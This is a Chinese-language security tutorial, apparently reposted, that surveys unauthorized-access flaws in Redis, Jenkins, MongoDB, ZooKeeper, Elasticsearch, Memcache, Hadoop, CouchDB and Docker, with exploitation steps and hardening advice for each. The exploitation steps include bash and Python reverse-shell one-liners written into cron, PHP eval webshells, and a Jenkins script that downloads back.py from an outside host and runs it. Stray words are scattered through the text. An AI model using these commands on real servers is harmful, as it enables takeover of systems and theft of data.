未受權訪問漏洞總結

前言

今年5月,比特幣勒索病毒WannaCry席捲全球,國內衆多機構部門計算機系統癱瘓。根據以前應急響應的案例分析,以及一些安全報告統計,目前大部分的勒索病毒均利用未受權訪問等通用漏洞進行植入、勒索,尤爲是Redis、MongoDB等數據庫的未受權訪問漏洞尤爲嚴重。參見《【脈搏譯文系列】如何高效的應對勒索軟件》
php

ransomware123

0x01 介紹

未受權訪問能夠理解爲須要安全配置或權限認證的地址、受權頁面存在缺陷,致使其餘用戶能夠直接訪問,從而引起重要權限可被操做、數據庫、網站目錄等敏感信息泄露。 html

目前主要存在未受權訪問漏洞的有:NFS服務,Samba服務,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo等,本文主要介紹一些目前比較經常使用的一些服務的未受權訪問,歡迎你們補充! java

maibo

0x02 Redis未受權訪問

2.1 漏洞描述

Redis因配置不當能夠未受權訪問。攻擊者無需認證訪問到內部數據,可致使敏感信息泄露,也能夠惡意執行flushall來清空全部數據。若是Redis以root身份運行,能夠給root帳戶寫入SSH公鑰文件,直接經過SSH登陸受害服務器。 node

2.2 漏洞利用

一、利用計劃任務執行命令反彈shell python

在redis以root權限運行時能夠寫crontab來執行命令反彈shell
先在本身的服務器上監聽一個端口 nginx

nc -lvnp 4444 git

而後執行命令: github

redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save web

redis-11

二、寫ssh-keygen公鑰登陸服務器 redis

在如下條件下,能夠利用此方法

  • 一、Redis服務使用root帳號啓動
  • 二、服務器開放了SSH服務,並且容許使用密鑰登陸,便可遠程寫入一個公鑰,直接登陸遠程服務器。

此方法具體參考:redis配置不當可直接致使服務器被控制

三、獲取web服務的webshell

當redis權限不高時,而且服務器開着web服務,在redis有web目錄寫權限時,能夠嘗試往web路徑寫webshell。
執行如下命令

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save

便可將shell寫入web目錄

redis-5

2.3 漏洞加固

能夠配置redis.conf這個文件,在安裝目錄下

  • 一、默認只對本地開放
    bind 127.0.0.1
  • 二、添加登錄密碼
    requirepass www.secpulse.com
  • 三、在須要對外開放的時候修改默認端口
    port 2333
  • 四、最後還能夠配合iptables限制開放

0x03 Jenkins未受權訪問

3.1 漏洞描述

默認狀況下Jenkins面板中用戶能夠選擇執行腳本界面來操做一些系統層命令,攻擊者可經過未受權訪問漏洞或者暴力破解用戶密碼等進腳本執行界面從而獲取服務器權限。

3.2 漏洞利用

一、Jenkins未受權訪問可執行命令

http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
jenkins-1

 

println "ifconfig -a".execute().text 執行一些系統命令
jenkins-2
直接wget下載back.py反彈shell

println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text

back.py並不須要root權限
jenkins-3

 

不想反彈試試Terminal Plugin
jenkins-4

二、Jenkins未受權訪問寫shell

jenskins是java web項目,咱們用java的File類寫文件

new File("c://temp//secpulse.txt").write("""
1
2
3
""");

新建一個內容爲1,2,3(每一行)的1.txt到c盤的temp文件夾,運行以下命令println 「powershell dir c:\temp」.execute().text若是寫成功,那麼secpulse.txt就會在返回結果中!

wget寫webshell

1. println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/secpulse.php".execute().text
2. new File("/var/www/html/secpulse.php").write('<?php @eval($_POST[s3cpu1se]);?>');
3. def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/secpulse.php").write("$webshell");
4. def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/secpulse.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/secpulse.php' ] )
//參數-n 不要在最後自動換行

jenkins-5
Result: 0 表示成功寫入
Result: 1 表示目錄不存在或者權限不足 寫入失敗
Result: 2 表示構造有異常 寫入失敗

具體其餘詳細利用方法參考:知其一不知其二之Jenkins Hacking

3.3 漏洞加固

  • 一、禁止把Jenkins直接暴露在公網
  • 二、添加認證,設置強密碼複雜度及帳號鎖定。

0x04 MongoDB未受權訪問

4.1 漏洞描述

開啓MongoDB服務時不添加任何參數時,默認是沒有權限驗證的,並且能夠遠程訪問數據庫,登陸的用戶能夠經過默認端口無需密碼對數據庫進行增、刪、改、查等任意高危操做。

4.2 漏洞利用

mongodb-1

4.3 漏洞加固

一、爲MongoDB添加認證:
1)MongoDB啓動時添加--auth參數
2)給MongoDB添加用戶:
use admin #使用admin庫
db.addUser("root", "123456") #添加用戶名root密碼123456的用戶
db.auth("root","123456") #驗證下是否添加成功,返回1說明成功
二、禁用HTTP和REST端口
MongoDB自身帶有一個HTTP服務和並支持REST接口。在2.6之後這些接口默認是關閉的。mongoDB默認會使用默認端口監聽web服務,通常不須要經過web方式進行遠程管理,建議禁用。修改配置文件或在啓動的時候選擇–nohttpinterface 參數nohttpinterface=false
三、限制綁定IP
啓動時加入參數
--bind_ip 127.0.0.1
或在/etc/mongodb.conf文件中添加如下內容:
bind_ip = 127.0.0.1

0x05 ZooKeeper未受權訪問

5.1 漏洞描述

Zookeeper的默認開放端口是2181。Zookeeper安裝部署以後默認狀況下不須要任何身份驗證,形成攻擊者能夠遠程利用Zookeeper,經過服務器收集敏感信息或者在Zookeeper集羣內進行破壞(好比:kill命令)。攻擊者可以執行全部只容許由管理員運行的命令。

5.2 漏洞利用

執行如下命令便可遠程獲取該服務器的環境:
echo envi | nc ip port

zookeeper-1
直接鏈接:
./zkCli.sh -server ip:port

zookeeper-2

5.3 漏洞加固

  • 一、禁止把Zookeeper直接暴露在公網
  • 二、添加訪問控制,根據狀況選擇對應方式(認證用戶,用戶名密碼)
  • 三、綁定指定IP訪問

0x06 Elasticsearch未受權訪問

6.1 漏洞描述

Elasticsearch是一款java編寫的企業級搜索服務。愈來愈多的公司使用ELK做爲日誌分析,啓動此服務默認會開放9200端口,可被非法操做數據

6.2 漏洞利用

漏洞檢測:默認端口9200
至關於一個API,任何人訪問這個地址,就能夠調用api,進行數據的增刪改操做。
http://x.x.x.x:9200/_nodes

http://x.x.x.x:9200/_river

elasticsearch-1

6.3 漏洞加固

  • 一、防火牆上設置禁止外網訪問9200端口。
  • 二、使用Nginx搭建反向代理,經過配置Nginx實現對Elasticsearch的認證
  • 三、限制IP訪問,綁定固定IP
  • 四、在config/elasticsearch.yml中爲9200端口設置認證:

http.basic.enabled true #開關,開啓會接管所有HTTP鏈接
http.basic.user "admin" #帳號
http.basic.password "admin_pw" #密碼
http.basic.ipwhitelist ["localhost", "127.0.0.1"]

 

0x07 Memcache未受權訪問

7.1 漏洞描述

Memcached是一套經常使用的key-value緩存系統,因爲它自己沒有權限控制模塊,因此對公網開放的Memcache服務很容易被攻擊者掃描發現,攻擊者經過命令交互可直接讀取Memcached中的敏感信息。

7.2 漏洞利用

一、登陸機器執行netstat -an |more命令查看端口監聽狀況。回顯0.0.0.0:11211表示在全部網卡進行監聽,存在memcached未受權訪問漏洞。

二、telnet <target> 11211,或nc -vv <target> 11211,提示鏈接成功表示漏洞存在

memcached-2

7.3 漏洞加固

  • 一、設置memchached只容許本地訪問
  • 二、禁止外網訪問Memcached 11211端口
  • 三、編譯時加上–enable-sasl,啓用SASL認證

0x08 Hadoop未受權訪問

8.1 漏洞描述

因爲服務器直接在開放了Hadoop機器HDFS的50070 web端口及部分默認服務端口,黑客能夠經過命令行操做多個目錄下的數據,如進行刪除,下載,目錄瀏覽甚至命令執行等操做,產生極大的危害。

8.2 漏洞利用

主要HDFS和MapReduce的WebUI對應的服務端口。

Hadoop-1

其中比較重要的是DataNode 默認端口50075開放的話,攻擊者能夠經過hdsf提供的restful api對hdfs存儲數據進行操做。

restful api參考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html

8.3 漏洞加固

  • 一、如無必要,關閉Hadoop Web管理頁面
  • 二、開啓身份驗證,防止未經受權用戶訪問
  • 三、設置「安全組」訪問控制策略,將Hadoop默認開放的多個端口對公網所有禁止或限制可信任的IP地址才能訪問包括50070以及WebUI等相關端口,詳細端口列表以下:

a)HDFS

NameNode 默認端口 50070

DataNode 默認端口 50075

httpfs 默認端口14000

journalnode 默認端口 8480

b)YARN(JobTracker)

ResourceManager 默認端口8088

JobTracker 默認端口 50030

TaskTracker 默認端口 50060

c)Hue 默認端口 8080

d)YARN(JobTracker)

master 默認端口 60010

regionserver 默認端口60030

e)hive-server2 默認端口 10000

f)spark-jdbcserver 默認端口 10003

0x09CouchDB未受權訪問

9.1 漏洞描述

CouchDB默認在5984端口開放Restful的API接口,用於數據庫的管理功能。其HTTP Server默認開啓時沒有進行驗證,並且綁定在0.0.0.0,全部用戶都可經過API訪問致使未受權訪問。任何鏈接到服務器端口上的人,均可以調用相關API對服務器上的數據進行任意的增刪改查,其中經過API修改local.ini配置文件,可進一步致使執行任意系統命令,獲取服務器權限!

9.2 漏洞利用

couchdb-7

新增query_server配置,這裏執行ifconfig命令

curl -X PUT 'http://x.x.x.x:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'
新建一個臨時表,插入一條記錄

couchdb-1

 

curl -X PUT 'http://x.x.x.x:5984/vultest'

couchdb-2
curl -X PUT 'http://x.x.x.x:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
調用query_server處理數據

couchdb-3

curl -X POST 'http://x.x.x.x:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

couchdb-4

固然你也能夠直接執行其餘命令,下載個其餘什麼的

couchdb-5 couchdb-6

9.3 漏洞加固

一、指定CouchDB綁定的IP (須要重啓CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 「bind_address = 0.0.0.0」 ,把 0.0.0.0 修改成 127.0.0.1 ,而後保存。注:修改後只有本機才能訪問CouchDB。

二、設置訪問密碼 (須要重啓CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到「[admins]」字段配置密碼

0x010 Docker未受權訪問

10.1 漏洞描述

Docker Remote API是一個取代遠程命令行界面(rcli)的REST API。經過 docker client 或者 http 直接請求就能夠訪問這個 API,經過這個接口,咱們能夠新建 container,刪除已有 container,甚至是獲取宿主機的 shell

10.2 漏洞利用

http://192.168.198.130:2375/v1.25/images/json
能夠獲取到全部的 images 列表

http://host:2375/containers/json

會返回服務器當前運行的 container列表,和在docker CLI上執行 docker ps 的效果同樣,過Post包咱們還能夠新建、開啓和關閉容器,其餘操做好比拉取image等操做也均可以經過API調用完成。

$ curl http://10.10.10.10:2375/containers/json
[]

docker -H=tcp://10.10.10.10:2375 ps         
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

Docker remote Api未受權訪問的攻擊原理與以前的Redis未受權訪問漏洞大同小異,都是經過向運行該應用的服務器寫文件,從而拿到服務器的權限,常見的利用方法以下:

一、啓動一個容器,掛載宿主機的/root/目錄,以後將攻擊者的ssh公鑰~/.ssh/id_rsa.pub的內容寫到入宿主機的/root/.ssh/authorized_keys文件中,以後就能夠用root帳戶直接登陸了

二、啓動一個容器,掛載宿主機的/etc/目錄,以後將反彈shell的腳本寫入到/etc/crontab中,攻擊者會獲得一個反彈的shell,其中反彈shell腳本的樣例以下:

echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab

第2種利用方法也能夠掛載var/spool/cron/目錄,將反彈shell的腳本寫入到/var/spool/cron/root(centos系統)或/var/spool/cron/crontabs/root(ubuntu系統)

10.3 漏洞加固

一、在沒必要需的狀況下,不要啓用docker的remote api服務,若是必須使用的話,能夠採用以下的加固方式:

  • 設置ACL,僅容許信任的來源IP鏈接;
  • 設置TLS認證,官方的文檔爲Protect the Docker daemon socket

二、客戶端鏈接時須要設置如下環境變量export DOCKER_TLS_VERIFY=1

export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

三、在 docker api 服務器前面加一個代理,例如 nginx,設置 401 認證

 

附:Python未受權訪問腳本

unauthor_access-1unauthor_access-2

此腳本未作測試,請根據自身需求,修改測試使用!

參考文章

  • https://www.secpulse.com/archives/55928.html
  • https://www.secpulse.com/archives/49115.html
  • https://www.secpulse.com/archives/6540.html
  • https://xianzhi.aliyun.com/forum/mobile/read/750.html
  • https://book.thief.one/webying-yong-lou-dong/136-elasticsearchwei-shou-quan-fang-wen-lou-dong.html
  • https://www.secpulse.com/archives/2166.html
  • https://github.com/findys/sunburst/
  • https://yeasy.gitbooks.io/docker_practice/

 

【本文做者:安識科技w2n1ck ,來源安全脈搏

轉載自:http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/3905.html

相關文章
相關標籤/搜索